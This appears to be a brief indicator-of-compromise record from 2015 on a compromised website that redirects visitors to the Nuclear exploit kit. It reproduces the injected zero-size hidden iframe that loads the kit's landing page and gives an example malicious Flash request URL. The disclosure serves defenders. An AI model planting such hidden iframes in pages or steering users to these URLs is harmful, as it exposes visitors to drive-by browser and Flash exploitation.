IOC - cloudmade.com - 2015-09-22

<!-- Redirect to Nuclear EK can be triggered by visiting http://cloudmade.com/404 -->
<!-- There is 0 size iframe at the very bottom of the HTML page that requests EK's landing page. See below -->

<iframe src="http://bafdehtrekoke.cf/search?q=750635&POGm=bAFZUEJZHwcGHVZXBVJ&FVVLS7=aClhXBExKB&80gHeT=cWCUBEBl1cCl&Zu7=dEYAFA.&9ECOTy=48075c4a4" width="0" height="0" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>

<!-- This will lead to either browser of Flash Player exploit. Example of malicious SWF request is below

http://bafdehtrekoke.cf/build?UzlHotI=bFxCEVNYDl9TTVVVHQwATQIET&2VjKH=dMKHQUCVwQKUAAFVgVPB1gF&8H2=cwAATQ&YK7Ig9t=7ad632a&Rfct9=aBk5DHVMBCQdFDkgHVkoHUEhUAlBXB&LOR9=547c2c7f88

-->